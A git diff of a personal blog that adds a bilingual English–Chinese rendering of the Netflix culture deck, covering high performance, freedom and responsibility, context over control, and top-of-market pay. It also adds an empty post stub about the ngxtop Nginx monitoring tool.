Jerks? 如何对待不羁天才？ + +Brilliant Jerks不羁天才 + +- Some companies tolerate them +- For us, cost to effective teamwork is too high +- Diverse styles are fine – as long as person embodies the 9 values + +- 有些公司容忍他们。 +- 对于我们而言，这种人会使得保持团队效率的代价太大。 +- 保持多样性的风格很好，但这个人得体现出前述9种价值观。 + +## Why are we so insistent on high performance?为什么我们对高效能如此坚持？ + +In procedural work, the best are 2x better than the average. In creative/inventive work, the best are 10x better than the average, so huge premium on creating effective teams of the best + +对于程序型的工作，顶级员工的输出量是一般员工的2倍。 +对于创新型创意型的工作，顶级员工的输出量是一般员工的10倍！以顶级员工组成的高效团队就有那么大提升！ + +## Why are we so insistent on high performance?为什么我们对高效能如此坚持？ + +Great Workplace is Stunning Colleagues + +最好的工作环境是拥有一群超级棒的同事。 + +## Our High Performance Culture Not Right for Everyone我们的高效能文化并非对所有人都合适。 + +- Many people love our culture, and stay a long time + - They thrive on excellence and candor and change + - They would be disappointed if given a severance package, but lots of mutual warmth and respect +- Some people, however, value job security and stability over performance, and don’t like our culture + - They feel fearful at Netflix + - They are sometimes bitter if let go, and feel that we are political place to work +- We’re getting better at attracting only the former, and helping the latter realize we are not right for them + +- 许多人喜欢我们的企业文化，并且呆了很长时间 + - 他们因为公司的卓越、坦率和变化而成长。 + - 他们会因为被辞退而感觉到失望，但是带走彼此之间的热情和尊重。 +- 部分人看重工作的安稳甚于高效输出，而且并不喜欢我们的企业文化。 + - 他们在Netflix会心怀忧惧。 + - 如果让他们走人，有时他们会感到苦涩，觉得我们在搞办公室政治。 +- 在吸引前一类人这方面，我们正在越做越好。同时，我们帮助后者认识到这里并不适合他们。 + + + +# Chapter 3: Freedom & Responsibility（自由和责任） + +## The Rare Responsible Person + +-Self motivating +-Self aware +-Self disciplined +-Self improving +-Acts like a leader +-Doesn’t wait to be told what to do +-Picks up the trash lying on the floor + +- 自励 +- 自知 +- 自律 +- 自我提升 +- 如同领导者一般行事 +- 不会等着被叫去做事 +- 主动捡起地上的垃圾 + +Responsible People **Thrive** on Freedom, and are **Worthy** of Freedom + +有责任感的人因为自由而 **成长** ，也 **配得上** 这份自由。 + + +Our model is to increase employee freedom as we grow,rather than limit it, to continue to attract and nourish innovative people, so we have better chance of sustained success + +公司成长的同时增进员工的自由，而非限制；持续吸引和培育有创新精神的员工，使得公司更有可能维继成功。 + +Most Companies Curtail Freedom as they get Bigger + +大多数公司伴随成长而来的是缩减员工自由 + +![]() + +Why Do Most Companies Curtail Freedom and Become Bureaucratic as they Grow? + +为什么大多数公司成长伴随着员工自由的缩减和公司的日益官僚化？ + +Desire for Bigger Positive Impact Creates Growth + +对于做大的渴望压缩了创造的增长 + +![]() + +Growth Increases Complexity + +成长增加了公司的复杂度 + +Growth Also Often Shrinks Talent Density + +成长经常稀释了人才密度 + +![]() + +## Chaos Emerges（混乱出现） + +Chaos and errors spike here – businesshas become too complex to runinformally with this talent level + +混乱和错误钉牢这里，在这个人才水平上，业务已经变得太过复杂而不可能以非范式的形态运行。 + +![]() + +## Process Emerges to Stop the Chaos流程开始出现以停止混乱 + +No one loves process, but feels good compared to the pain of chaos + +没有人喜欢流程，但是和混乱带来的痛苦相比，前者让人感觉好一点。 + +“Time to grow up” becomes the professional management’s mantra + +“成长的时候到了”已经成为职业经理人的密咒。 + +![]() + +## Process-focus Drives More Talent Out强调流程作业驱离更多人才 + +![]() + +## Process Brings Seductively Strong Near-Term Outcome流程作业引出强有力的短期行为结果 + +- A highly-successful process-driven company + - With leading share in its market + - Minimal thinking required + - Few mistakes made – very efficient + - Few curious innovator-mavericks remain + - Very optimized processes for its existing market + - Efficiency has trumped flexibility + +- 一个高度成功的流程驱动型公司 + - 在所处的市场上占据领先份额 + - 对思考的需求最少 + - 很少犯错---听起来不错 + - 很少有好奇的创新者---难有突破 + - 对既存市场拥有高度优化的流程 + - 效率战胜了灵活性 + +## Then the Market Shifts…接着市场变了… + +- Market shifts due to new technology or competitors or business models +- Company is unable to adapt quickly + - because the employees are extremely good at following the existing processes, and process adherence is the value system +- Company generally grinds painfully into irrelevance + +- 由于新技术或者新对手或者新商业模式的出现，市场变了。 +- 前述公司不能快速适应 + - 因为员工们已经极端适应既有的流程作业，对流程的依靠是系统价值的核心。 +- 这样的公司将会痛苦地被碾成昨日黄花。 + +## Seems Like Three Bad Options貌似更糟的第三种选择 + +- Stay creative by staying small, but therefore have less impact +- Avoid rules as you grow, and suffer chaos +- Use process as you grow to drive efficient execution of current model, but cripple creativity, flexibility, and ability to thrive when your market eventually changes + +- 通过保持公司小型化而保存创新能力，但是因此失去市场影响力。 +- 成长的同时不设立规则，然后为混乱所苦。 +- 当公司成长时，使用流程驱动现有模式的有效执行。当市场最终改变时，只能用跛脚的创新能力、灵活性和业务能力实现成长。 + +## A Fourth Option第4种选择 + +- Avoid Chaos as you grow with Ever More High Performance People – not with Rules + - Then you can continue to mostly run informally with self-discipline, and avoid chaos + - The run informally part is what enables and attracts creativity + +- 通过和更多高效能员工共同成长，而非制定规则以避免混乱 + - 于是你可以最大程度上凭借自律而使得灵活运作的业务得以进行，同时避免混乱 + - 灵活运作的那一部分能够激发和吸引创造力 + +## The Key: Increase Talent Density faster than Complexity Grows关键点：以超过复杂度提升的速度提升人才密度 + +![]() + +## Increase Talent Density提升人才密度 + +- Top of market compensation +- Attract high-value people through freedom to make big impact +- Be demanding about high performance culture + +- 支付市场最高薪酬 +- 用自由吸引高价值人才产生巨大影响 +- 强化高效能的企业文化 + +## Minimize Complexity Growth将复杂度增长降至最小 + +- Few big products vs many small ones +- Eliminate distracting complexity (barnacles) +- Be wary of efficiency optimizations that increase complexity and rigidity + +- 用少数大产品取代数量众多的小产品 +- 消除让人分散精力的复杂度（藤壶） +- 警惕效率优化所带来的复杂度和僵化度增长 + +Note: sometimes long-term simplicity is achieved only through bursts of complexity to rework current systems + +注：有时长期简单化只有通过现有系统爆发式的复杂性再造才能完成。 + +With the Right People, Instead of a Culture of Process Adherence, We have a Culture of Creativity and Self-Discipline,Freedom and Responsibility + +和对的人一起工作，而非流程控制他们，我们因而建立起富于创新精神和自律精神，自由和负责的企业文化 + +Is Freedom Absolute?Are all rules & processes bad? + +自由是绝对需要的吗？是否所有的规则和流程都不好？ + + +Freedom is not absoluteLike “free speech”there are some limited exceptions to “freedom at work” + +自由不是绝对的，正如“言论自由”一样，“工作中的自由”也有几项有限的例外 + + +## Two Types of Necessary Rules两类必要的规则 + +- Prevent irrevocable disaster + - Financials produced are wrong + - Hackers steal our customers’ credit card info +- Moral, ethical, legal issues + -Dishonesty, harassment are intolerable + +- 为了阻止不可挽回灾难 + - 财务程序错误 + - 黑客窃取了我们顾客的信用卡号 +- 为了避免道德、伦理和法律问题 + - 不诚实，性骚扰都是不能容忍的 + + +## Mostly, though, Rapid Recovery is the Right Model（大多数情况下，快速修正都是正确的模式） + +- Just fix problems quickly +- High performers make very few errors +- We’re in a creative-inventive market, not a safety-critical market like medicine or nuclear power +- You may have heard preventing error is cheaper than fixing it + - Yes, in manufacturing or medicine, but… + - Not so in creative environments + +- 尽快修复问题 +- 高效能员工很少犯错 +- 我们处在一个创新的市场，而不是一个类似医药或者核能这样以安全性为第一的市场 +- 你也许听说过预防错误比修复代价更低 + - 是的，在制造业或者制药业的确如此，但 + - 在创新型行业里并非如此。 + + +## “Good” versus “Bad” Process好流程VS.坏流程 + +- “Good” process helps talented people get more done + - Letting others know when you are updating code + - Spend within budget each quarter so don’t have to coordinate every spending decision across departments + - Regularly scheduled strategy and context meetings + + +- 好流程帮助人才搞定更多事情 + - 当你在升级代码时让其他人知道 + - 在每个季度都按照预算花钱，这样就不用频繁通过部门会议调整每一笔支出 + - 定期制定战略和搞清会议背景 + +- “Bad” process tries to prevent recoverable mistakes + - Get pre-approvals for $5k spending + - 3 people to sign off on banner ad creative + - Permission needed to hang a poster on a wall + - Multi-level approval process for projects + - Get 10 people to interview each candidate + +- 坏流程试图阻止可以恢复的错误 + - 得到预先批准的5000美金支出额度 + - 要3个人签字才能终止的横幅广告创意 + - 在墙上贴个海报需要的许可 + - 项目所需的多层级许可流程 + - 找10个人去面试每一个应聘者 + +## Rule Creep规则潜行 + +- “Bad” processes tend to creep in + - Preventing errors just sounds so good +- We try to get rid of rules when we can, to reinforce the point + +- 坏流程倾向于潜入 + - 能够预防错误只是听起来不错 +- 我们尽可能去除繁文缛节，以强化工作重点。 + + +## Example: Netflix Vacation Policy and Tracking案例：Netflix休假规定和考勤管理 + +Until 2004 we had the standard model of N days per year + +截至2004年，我们有一个每年N天假期的标准休假模式 + +Meanwhile…与此同时 + +We’re all working online some nights and weekends, responding to emails at odd hours, spending some afternoons on personal time, and taking good vacations + +一些晚上和周末，我们都在工作，在非上班的时间回邮件，在私人时间的下午工作，然后休假 + +An employee pointed out…一个员工指出 + +We don’t track hours worked per day or per week, so why are we tracking days of vacation per year? + +我们并不追踪每天或者每周的工作时间，为什么我们要追踪每年休假了几天呢？ + +We realized…我们意识到了 + +We should focus on what people get done, not on how many days worked Just as we don’t have an 9am-5pm workday policy, we don’t need a vacation policy + +我们应该关注人们做了什么，而不是做了多少天。既然我们没有朝九晚五的工作时间规定，我们也就不需要假期规定。 + +## Netflix Vacation Policy and TrackingNetflix休假规定和考勤管理是 + +“there is no policy or tracking” + +“没有休假制度的规定” + +There is also no clothing policy at Netflix, but no one comes to work naked + +在Netflix我们也没有着装规定，但也没有人光着身子来上班。 + +Lesson: you don’t need policies for everything + +**教训：你不需要为每样事情都制定规则** + +No Vacation Policy Doesn’t Mean No Vacation没有休假规定不等于没有假期 + +Netflix leaders set good examples by taking big vacations – and coming back inspired to find big ideas + +通过讨论休假，Netfilx的领导层设立了很好的榜样，然后回来激发出大的创想 + +## Another Example of Freedom and Responsibility…自由与责任的其他一些例子 + +Most companies have complex policies around what you can expense, how you travel, what gifts you can accept, etc. + +围绕员工如何花销，如何出差，可以接受何种馈赠等等，大多数公司都会制定复杂的政策。 + +Plus they have whole departments to verify compliance with these policies + +再加上一整个部门来核实员工是否遵循了这些政策。 + +## Netflix Policies for Expensing, Entertainment, Gifts & Travel:Netflix公司关于花销、娱乐、馈赠和出差的政策是 + +“Act in Netflix’s Best Interest” + +最合乎公司利益 + +## “Act in Netflix’s Best Interest” Generally Means…（“最合乎公司利益”一般指） + +- Expense only what you would otherwise not spend, and is worthwhile for work +- Travel as you would if it were your own money +- Disclose non-trivial vendor gifts +- Take from Netflix only when it is inefficient to not take, and inconsequential + - “taking” means, for example, printing personal documents at work or making personal calls on work phone: inconsequential and inefficient to avoid + +- 花你应该花的钱，否则就别花，而且这钱应该是为了工作。 +- 出差时就像是在花你自己的钱。 +- 披露重要供应商提供的礼物。 +- 只当不拿会降低效率和不合逻辑的时候，才从公司拿东西。 + - “拿”的意思，举例说：用公司的设备打印私人的文件，或者用工作座机打私人电话。 + +## Freedom and Responsibility自由与责任 + +- Many people say one can’t do it at scale +- But since going public in 2002, which is traditionally the end of freedom, we’ve substantially increased talent density and employee freedom + +- 许多人说一家公司不能等比提升这两点 +- 从2002年我们上市以来，按照传统上市意味着自由的终结，但我们同时充分地提升了人才密度和员工自由。 + +## Summary of Freedom & Responsibility:自由与责任小结 + +As We Grow, Minimize Rules + +我们成长的同时，把制度降至最少。 + +Inhibit Chaos with Ever More High Performance People + +雇用更多高绩效人才来抑制混乱的产生。 + +Flexibility is More Important than Efficiencyin the Long Term + +**长期来看，灵活性远比效率重要** + + +# Chapter 4: Context, not Control（情景管理而非控制） + +If you want to build a ship, don't drum up the people to gather wood, divide the work, and give orders.  Instead, teach them to yearn for the vast and endless sea.“ + +如果你想造一艘船，先不要雇人去收集木头，也不要给他们分配任何任务，而是去激发他们对浩瀚汪洋的渴望。” + +-Antoine De Saint-Exupery,  Author of The Little Prince《小王子》作者 + +The best managers figure out how to get great outcomes by setting the appropriate context, rather than by trying to control their people + +最佳的管理通过设定合适的情景而非试图控制员工以达到最大成果。 + +## Context, not Control情境管理而非掌控管理 + +Provide the insight and understanding to enable sound decisions + +提供洞察力和理解力去促成合理的决定。 + +Context (embrace) 情境管理（要坚持） + +- Strategy +- Metrics +- Assumptions +- Objectives +- Clearly-defined roles +- Knowledge of the stakes +- Transparency around decision-making + +- 战略 +- 度量体系 +- 假定 +- 目标 +- 明确界定的规则 +- 关于风险的知识 +- 决策所需的透明信息 + +Control (avoid)控制（要避免） + +- Top-down decision-making +- Management approval +- Committees +- Planning and process valued more than results + +- 自上而下的决策过程 +- 管理许可 +- 委员会 +- 计划和流程的价值高于结果 + + +## Good Context优秀的情景管理 + +- Link to company/functional goals +- Relative priority (how important/how time sensitive) + - Critical (needs to happen now), or… + - Nice to have (when you can get to it) +- Level of precision & refinement + - No errors (credit cards handling, etc…), or… + - Pretty good / can correct errors (website), or… + - Rough (experimental) +- Key stakeholders +- Key metrics / definition of success + +- 和公司目标或者功能性目标相关联 +- 相对优先权（多么重要/时间多么紧迫） + - 决定性的（现在必须） + - 锦上添花的（等你做到了） +- 依据精度和纯度的水平 + - 无错的（信用卡操作） + - 相当好的/可纠正错误（网站） + - 粗糙的（实验性的） +- 重要的相关利益人 +- 重要的指标/界定成功标准 + + +Managers:致管理者： + +When one of your talented people does something dumb, don’t blame themInstead, ask yourself what context you failed to set + +当你的人才犯下了愚蠢的错误，不要指责他们。相反，你应该问问自己，在情景设定上犯了什么错？ + +When you are tempted to “control” your people, ask yourself what context you could set instead + +当你准备“控制”你的员工，请问一下自己，可以用什么情境取代？ + +Are you articulate and inspiring enough about goals and strategies? + +对于目标和策略，你是否已经做到了足够清晰和足够鼓舞人心？ + +## Why Managing Through Context?为什么要用情景管理？ + +High performance people will do better work if they understand the context + +高绩效仁慈啊如果很好地理解了当下情景，能够更好地工作。 + +## Investing in Context寄望于情境 + +This is why we do new employee college, frequent department meetings, and why we are so open internally about strategies and results + +这就是为什么我们开办新员工学院，定期举办部门会议，以及为什么我们在内部对于战略和结果如此开诚布公。 + +## Exceptions to “Context, not Control”“情景管理而非控制”的例外情况 + +- Control can be important in emergency + - No time to take long-term capacity-building view +- Control can be important when someone is still learning their area + - Takes time to pick up the necessary context +- Control can be important when you have the wrong person in a role + - Temporarily, no doubt + +- 控制管理在紧急情况下非常重要 + - 没有时间做长期的能力建设 +- 控制管理在某人依然处于学习阶段非常重要 + - 花时间去找出必要的情景 +- 控制管理在你所托非人时非常重要 + - 临时的，毫无疑问 + +# Chapter 5: Highly Aligned, Loosely Coupled（认同一致，松散耦合） + +## Three Models of Corporate Teamwork合作团队的3种模式 + +- Tightly Coupled Monolith +- Independent Silos +- Highly Aligned, Loosely Coupled + +- 紧密耦合的巨无霸型 +- 各自为政的国企型 +- 认同一致-松散耦合型 + + +## Tightly Coupled Monolith（巨无霸型） + +- Senior management reviews nearly all tactics + -- e.g., CEO reviews all job offers or advertising +- Lots of x-departmental buy-in meetings +- Keeping other internal groups happy has equal precedence with pleasing customers +- Mavericks get exhausted trying to innovate +- Highly coordinated through centralization, but very slow, and slowness increases with size + +- 高阶管理人员对战术事无巨细全部过问 + - 例如：CEO评估所有的招聘文案或者广告 +- 大量的跨部门协调会 +- 让其他内部团队满意和取悦顾客拥有相同权重 +- 想要创新的人员感觉筋疲力竭 +- 通过中央集权管理保持各部门协调，但是非常缓慢，这种缓慢程度和公司同步增长。 + +## Independent Silos（国企型） + +- Each group executes on their objectives with little coordination + - Everyone does their own thing +- Work that requires coordination suffers +- Alienation and suspicion between departments +- Only works well when areas are independent + - e.g., aircraft engines and blenders for GE + +- 每个团执行各自的目标，基本没有协同。 + - 每个团队做自己的事。 +- 要求协同的工作让各方都很受伤。 +- 部门之间山头林立，彼此排挤，相互怀疑。 +- 只有完全独立的业务领域内才能运转顺畅。 + - 例子：GE公司的飞机引擎制造部门和搅拌机制造部门 + +## Highly Aligned, Loosely Coupled认同一致，松散耦合 + +- Highly Aligned + - Strategy and goals are clear, specific, broadly understood + - Team interactions focused on strategy and goals, rather than tactics + - Requires large investment in management time to be transparent and articulate and perceptive + +- 认同一致 + - 战略和目标为全员所清晰、详尽和广泛的理解 + - 团队互动着眼于战略和目标，而非战术 + - 需要大量管理上的时间实现对信息的透明、准确和全员的领悟 + +- Loosely Coupled + - Minimal cross-functional meetings except to get aligned on goals and strategy + - Trust between groups on tactics without previewing/approving each one – so groups can move fast + - Leaders reaching out proactively for ad-hoc coordination and perspective as appropriate + - Occasional post-mortems on tactics necessary to increase alignment + +- 松散耦合 + - 除非是为了目标和战略而合作，否则尽量减少跨职能部门的会议。 + - 相信团队合作执行战术动作，无需进行预演或者审批，这样团队能快速行动。 + - 领导者在合适的时间积极出手做临时协调。 + - 偶尔的战术复盘对增进团队间合作是必要的。 + +Highly Aligned, Loosely Coupled teamwork effectiveness depends on high performance people and good context + +高度一致又松散耦合的团队效率取决于高绩效人才和优秀的情境管理 + +Goal is to be Big and Fast and Flexible + +目标是：更大，更快，更灵活。 + + +# Chapter 6: Pay Top of Market（支付市场最高工资） + +## Pay Top of Market is Core toHigh Performance Culture支付市场最高薪酬是高绩效文化的核心 + +One outstanding employee gets more done and costs less than two adequate employees + +一个卓越的员工比两个胜任的员工做得更多，花得更少 + +We endeavor to have only outstanding employees + +我们致力于只雇佣卓越员工 + +## Three Tests for Top of Market for a Person判断卓越员工的3个测试 + +- What could person get elsewhere? +- What would we pay for replacement? +- What would we pay to keep that person? + - If they had a bigger offer elsewhere + +- 这个人可以在别的地方得到吗？ +- 为了取代他我们要付出多少？ +- 为了留下他我们愿意付出多少？ + - 假若他在别处有更好的雇佣条件。 + + +## Takes Great Judgment做好判断 + +- Goal is to keep each employee at top of market for that person + - Pay them more than anyone else likely would + - Pay them as much as a replacement would cost + - Pay them as much as we would pay to keep them if they had higher offer from elsewhere + +- 目标是保持每一个员工都处在人力市场薪酬水平的顶端 + - 付给他们比其他家公司可能给的更高薪酬。 + - 按照取代他们所需花费的标准支付他们薪酬。 + - 如果别的公司开出更好的条件，尽我们全力加薪以挽留他们 + +## Titles Not Very Helpful头衔没有多大用处 + +- Lots of people have the title “Major League Pitcher” but they are not all equally effective +- Similarly, all people with the title “Senior Marketing Manager” or “Director of Engineering” are not equally effective +- So the art of compensation is answering the Three Tests for each employee + +- 许多人有“大联盟投手”的头衔，但他们彼此不是等同水平。 +- 类似，所有冠以“高级市场经理”或者“工程总监”的人也不是等同水平。 +- 所以，薪酬的秘诀就在于针对每一个员工回答刚才的三个问题。 + +## Annual Comp Review年度薪酬评估 + +- At many firms, when employees are hired, market compensation applies + - But at comp review time, it no longer applies! +- At Netflix, market comp always applies: + - Essentially, top of market comp is re-established each year for high performing employees + - At annual comp review, manager has to answer the Three Tests for the personal market for each of their employees + +- 在许多公司，当员工被聘用的时候，他们的薪酬和人力市场价格是相匹配的。 + - 但是到了薪酬评估的时候，就不再匹配了！ +- 在Netflix，它们总是相匹配的： + - 本质上来说，对于高绩效人才，市场顶级人员薪酬水平每年都会重新确立 + - 在年度薪酬评估的时候，管理人员针对自己的每一个员工回答前面的那三个问题。 + +## No Fixed Budgets没有固定的人力预算 + +- There are no centrally administered “raise pools” each year +- Instead, each manager aligns their people to top of market each year – the market will be different in different areas + +- 每年没有公司高层决定的“加薪池” +- 相反的，每个管理者每年把自己下属的薪酬和市场最高价格调整到一致。 + +## Compensation Over Time应时薪酬 + +- Some people will move up in comp very quickly because their value in the marketplace is moving up quickly, driven by increasing skills and/or great demand for their area +- Some people will stay flat because their value in the marketplace has done that + - Depends in part on inflation and economy + - Always top of market, though, for that person + +- 有些人薪酬增长非常迅猛是因为他们的身价在人力市场上的增长非常快，这往往是因为技能的增长或者特定领域的人力需求旺盛。 +- 有些人的薪酬维持少变是因为他们在人力市场上的身价就放在那儿。 + - 部分原因在于通胀和经济因素 + - 尽管如此，对于这个人来说，其薪酬水平也依然在市场最高价格 + +## Compensation Not Dependent on Netflix Success薪酬并不取决于Netflix的成功 + +- Whether Netflix is prospering or floundering, we pay at the top of the market + - i.e., sports teams with losing records still pay talent the market rate + - Employees can choose how much they want to link their economic destiny to Netflix by deciding how many Netflix stock options they want to hold + +- 无论Netflix的盛衰，我们都支付市场最高薪酬。 + - 例如：体育队伍哪怕失掉比赛也得按照市场水平支付薪酬。 + - 员工可以通过决定持有多少Netflix期权的方式，决定自己愿意多大程度上把自己的经济前景和Netflix绑定在一起。 + +## Bad Comp Practices糟糕的薪酬实践 + +- Manager sets pay at Nth percentile of title-linked compensation data + - The “Major League Pitcher” problem +- Manager cares about internal parity instead of external market value + - Fairness in comp is being true to the market +- Manager gives everyone a 4% raise +- Very unlikely to reflect the market + +- 管理者根据头衔，按照百分比排列设定薪酬。 + - 会导致“大联盟投手”问题。 +- 管理者关心内部薪酬一致而无视外部人力市场价值 + - 在人力市场上，薪酬水平的公平性是真实不虚的。 +- 管理者给每个员工4%的增幅。 +- 根本无法反映市场的情况。 + +## When Top of Market Comp Done Right...当市场最高薪酬设置得当 + +We will rarely counter with higher comp when someone is voluntarily leaving because we have already moved comp to our max for that person + +我们很少遇见有员工因为更高薪酬而选择主动离职，因为我们已经尽全力给到他最高工资。 + +Employees will feel they are getting paid well relative to their other options in the market + +和市场上提供的其他选择相比，我们的员工会觉得他们的薪酬不错。 + +## Versus Traditional Model和传统模式对比 + +- Traditional model is good prior year earns a raise, independent of market + - Problem is employees can get materially under- or over-paid relative to the market, over time + - When materially under-paid, employees switch firms to take advantage of market-based pay on hiring + - When materially over-paid, employees are trapped in current firm +- Consistent market-based pay is better model + +- 传统模式是上年度业绩好则加薪，完全和市场价格脱离 + - 问题是员工会实质上得到低于或者高于市场价格的薪酬 + - 当实质性低于市场价格，那么员工会换公司以获取基于市场价格的薪酬 + - 当现有工资高于市场价格，员工就会留在现公司 +- 持续地基于市场价格制定薪酬是最好模式 + +## Employee Success员工的成功 + +- It’s pretty ingrained in our society that the size of one’s raise is the indicator of how well one did the prior year + - but for us the other factor is the outside market +- Employee success is still a big factor in comp because it influences market value + - In particular, how much we would pay to keep the person + +- 在我们的社会里，一个员工的加薪幅度是上一年度业绩好坏的指示器，这已经是根深蒂固的观念 + - 但是对于我们来说，另一个因素是外部的人力资源市场 +- 员工的成功依然是薪酬的重要因素，因为它影响了市场价值 + - 特别是，我们愿意为留下一个人花多少钱？ + + +## Good For Each Employee to Understand Their Market Value每个员工知道自己的市场价格是好事 + +- It’s a healthy idea, not a traitorous one, to understand what other firms would pay you, by interviewing and talking to peers at other companies + - Talk with your manager about what you find in terms of comp + - Stay mindful of company confidential information + +- 通过在其它公司的同业了解别人会花多少钱来雇佣自己，这是一个健康而非背叛的想法 + - 和你的上级谈谈你在薪酬市值的发现 + - 对公司的机密情报保持警觉 + +## Efficiency效用 + +- Big salary is the most efficient form of comp + - Most motivating for any given expense level + - No bonuses, no free stock options, no philanthropic match + - Instead, put all that expense into big salaries, and give people freedom to spend their salaries as they think best +- Health benefits: employees get $10k per year + - If they choose Netflix plans that are less than $10k, they keep the difference + - If they don’t need benefits from us, they keep all $10k + - CEO or receptionist: everyone gets $10k for benefits + +- 高薪是最有效的薪酬形式 + - 在任何给定的费用中，高薪最具激励性 + - 没有奖金，没有免费的期权，没有慈善比赛 + - 相反的，把所有费用尽可能的打入高薪酬包，给予员工按照自己的意图花费薪水的自由 + +## Optional Options期权 + +- Employees get top of market salary, and then can request to trade salary for stock options +- Some people take all cash, some people request half their comp in options + - Both are OK +- This is consistent with freedom and responsibility, and lets employees decide how much risk/reward is comfortable for them + +- 员工得到人力市场上的最高工资，然后他们可以要求把工资兑换成为期权 +- 有的人选择全拿现金，有的人要求拿一半工资兑换成期权 + - 两种都没问题 +- 这是对自由与责任的坚持，它让员工决定自己能承受多大程度上的风险/回报 + +## Details on Stock Options期权细节 + +- The options are fully vested and are 10-years-to-exercise options, independent of how long one stays at +- These fully vested options are granted monthly at the then current stock price, so employees get price averaging on their exercise price +- These options cost employees less than half of what such options would cost in the open market, and are from pre-tax salary, so are a great deal +- Employees can change their option request annually +- Options become valuable only if Netflix stock climbs + +- Netflix期权分10年行使，而且一经发放即为员工完全持有，随时可以转手，无论这个员工在Netflix工作了多长时间 +- 这些员工完全持有的期权依照当时的市场股票价格按月发放，因此员工按照行使期权的平均价格获利 +- 期权按照不到市场股价一半的价格买给员工，而且是用税前工资购买，因此是个对员工有利的交易 +- 员工每年都可以要求改变期权数额 +- 唯有Netflix股价上扬，期权才具有价值 + +## No Vesting or Deferred Comp没有期权工资或者延期工资 + +- We don’t want managers to “own” their people with vesting – all comp is fully vested +- We want managers to be responsible for creating a great place to work, and paying at the top of market +- Employees are free to leave us anytime, without penalty, but nearly everyone stays +- Employees stay because they are passionate about their work, and well paid, not because of a deferred compensation system + +- 我们不希望管理者通过扣发工资的方式控制员工，所有薪酬足额下发 +- 我们要求管理者负责建立起最好的工作环境，支付市场最高工资 +- 员工可以在任何时候辞职，无需缴纳罚金，但这么做了之后几乎所有人都留了下来 +- 员工留下来的原因是他们对工作有热情，薪酬丰厚，而不是因为有一个延期发放工资的系统 + +## No Ranking Against Other Employees不要用等级刺激员工 + +- We avoid “top 30%” and “bottom 10%” rankings amongst employees +- We don’t want employees to feel competitive with each other +- We want all of our employees to be “top 10%” relative to the pool of global candidates +- We want employees to help each other, and they do + +- 我们避免用“最好的30%”或者“最差的10%”这样的等级来刺激员工 +- 我们不希望员工感觉到彼此之间是竞争关系 +- 我们希望员工是所有应聘者中的“最好的10%” +- 我们希望员工彼此帮助，而他们也的确做到了 + + + +# Chapter 7: Promotions & Development （晋升和成长） + +In some time periods, in some groups, there will be lots of opportunity and growth at Netflix + +在某些时期，在某些团队内，公司的确存在大量的机会和发展空间 + +Some people, through both luck and talent, will have extraordinary career growth + +有些既有运气又有能力的人，会获得异乎寻常的职业生涯发展 + + +## Baseball Analogy: Minors to Majors篮球类比：小联盟和大联盟 + +- Very talented people usually get to move up, but only true for the very talented +- Some luck in terms of what positions open up and what the competition is +- Some people move to other teams to get the opportunity they want +- Great teams keep their best talent +- Some minor league players keep playing even though they don’t move up because they love the game + +- 非常有才华的人经常得到晋升，但仅仅是对那些真有才华的人来说是这样 +- 有些运气是依仗有什么位置空缺，或者面对某种竞争 +- 有些人转岗到其他团队获得了他们所需要的机会 +- 伟大的团队保留住他们最好的人才 +- 有些小联盟的球员即便没有得到升迁也继续打球，原因是他们热爱这个游戏 + +## Netflix Doesn’t Have to Be for Life不必在Netflix呆一辈子 + +- In some times, in some groups, there may not be enough growth opportunity for everyone +- In which case we should celebrate someone leaving Netflix for a bigger job that we didn’t have available to offer them +- If that is what the person prefers + +- 在某些时候，某些团队，也许没有足够多的成长机会给每个人 +- 在这种情况下，我们应该为某些人离开Netflix得到更好的工作而庆祝，因为我们并没有合适机会可以给他 +- 如果这是那个人所希望的话 + +## Two Necessary Conditions for Promotion两种升职的必要条件 + +- Job has to be big enough + - We might have an incredible manager of something, but we don’t need a director of it because job isn’t big enough + - If the incredible manager left, we would replace with a manager, not with a director + - Person has to be a superstar in current role + - Could get the next level job here if applying from outside and we knew their talents well + - Could get the next level job at peer firm that knew their talents well + +- 工作必须足够重要 + - 我们也许在某些事情上拥有非常棒的经理，但是如果这个工作不足够重要的话，我们不会在其上安排一个总监 + - 如果这个非常棒的经理离开了，我们会安排一个新的经理，而不是一个总监 + - 这个人必须在现有的岗位上是个超级明星 + - 如果我们从外面雇佣一个同样有才干的人进来，这个人能胜任高一个层次的工作 + - 如果同业公司知道他的才干，他可以在那里得到更高层次的工作机会 + +## Timing时机 + +- If a manager would promote to prevent an employee from leaving, the manager should promote now instead of waiting +- Both tests still have to be passed + - Job big enough + - Superstar in current role + +- 如果一个管理者可以通过升职来阻止一个员工的离去，那么这个管理者应该现在就给这个员工升职而不是等待 +- 以下两个测试必须得到通过 + - 工作足够重要 + - 在现有岗位上是超级明星 + +## Development发展 + +- We develop people by giving them the opportunity to develop themselves, by surrounding them with stunning colleagues and giving them big challenges to work on + - Mediocre colleagues or unchallenging work is what kills progress of a person’s skills + +- 我们通过给予员工自我发展的机会，提供周围一群杰出同事的方法帮助他们发展。同事，也给予他们足够大的挑战去为之奋斗 + - 平凡的同事和无挑战的工作正是杀死员工工作技能的元凶 + +## Career “Planning” Not for Us职业“规划”不是我们的菜 + +- Formalized development is rarely effective, and we don’t try to do it + - e.g., Mentor assignment, rotation around a firm, multi-year career paths, etc. + +- 形式化的个人职业规划很少奏效，我们也不会尝试去做 + - 例如：导师和项目指导，公司内轮岗，年功职级通道等等 + +## We Support Self-Improvement我们支持自我提升 + +- High performance people are generally self-improving through experience, observation, introspection, reading, and discussion + - As long as they have stunning colleagues and big challenges to work on + - We all try to help each other grow + - We are very honest with each other + +- 高绩效人才大多能通过经验、观察、内省、阅读和讨论自我提升 + - 只要他们还拥有杰出的一群同事和足够大的工作挑战 + - 我们所有人都努力相互帮助对方成长 + - 我们所有人都对彼此诚实 + +We want people to manage their own career growth, and not rely on a corporation for “planning” their careers + +**我们希望员工管理他们自己的职业发展，而不是依赖于公司“规划”他们的职业生涯** + +Your Economic Security is based on your Skills and Reputation + +你的经济保障建立在你的技能水平和人品名声之上 + +We try hard to consistently provide opportunity to grow both by surrounding you with great talent + +我们倾尽全力持续提供机会，使得你和你周围的杰出同事共同成长 + +# Review回顾 + +We keep improvingour culture as we grow + +随着我们的成长，我们持续提升我们的企业文化 + +We try to get betterat seeking excellence + +我们努力通过寻求卓越而变得更好 \ No newline at end of file diff --git a/_posts/2018-08-01-282-ngxtop.md b/_posts/2018-08-01-282-ngxtop.md new file mode 100644 index 0000000..7299313 --- /dev/null +++ b/_posts/2018-08-01-282-ngxtop.md @@ -0,0 +1,13 @@ +--- +layout: post +title: 监控工具ngxtop +pid: 282 +tags: [centos, nginx] +--- + + 